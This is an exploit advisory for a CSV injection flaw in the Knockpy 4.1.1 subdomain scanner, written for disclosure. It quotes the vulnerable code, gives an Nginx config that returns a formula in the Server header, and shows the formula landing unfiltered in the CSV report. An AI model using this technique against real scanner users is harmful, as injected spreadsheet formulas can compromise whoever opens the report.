# Exploit Title: Knockpy 4.1.1 - CSV Injection
# Author: Dolev Farhi
# Date: 2020-12-29
# Vendor Homepage: https://github.com/guelfoweb/knock
# Version : 4.1.1
# Tested on: Debian 9.13

Knockpy, as part of its subdomain brute forcing flow of a remote domain, issues a HEAD request to the server to fetch details such as headers, status code, etc.
The data then gets reflected when issuing the -c flag to store as a CSV file with the Server HTTP Response Header unfiltered.

Vulnerable code segment(s)

# knockpy.py

# row = ip+'\t'+str(data['status'])+'\t'+'host'+'\t'+str(data['hostname'])+get_tab(data['hostname'])+str(server_type)
# subdomain_csv_list.append(ip+','+str(data['status'])+','+'host'+','+str(data['hostname'])+','+str(server_type))

# modules/save_report.py

# if fields:
#  csv_report += 'ip,status,type,domain_name,server\n'
# for item in report:
#  csv_report += item + '\n'
# report = csv_report


1. Example malicious Nginx config to return CSV formula headers:

http {
...    
  server_tokens off;
  more_set_headers 'Server: =1336+1';
...
}

2. Tester runs Knoockpy
root@host:~/# python knockpy/knockpy.py -c test.local

+ checking for virustotal subdomains: SKIP
  VirusTotal API_KEY not found
+ checking for wildcard: NO
+ checking for zonetransfer: NO
+ resolving target: YES
- scanning for subdomain...

Ip Address  Status  Type  Domain Name      Server
----------  ------  ----  -----------      ------
127.0.0.1       200     host    appserver.test.local    =1336+1


CSV result

root@host:~/# cat test_local.csv
127.0.0.1,200,host,appserver.test.local,=1336+1
127.0.0.1,200,host,www.test.local,=1336+1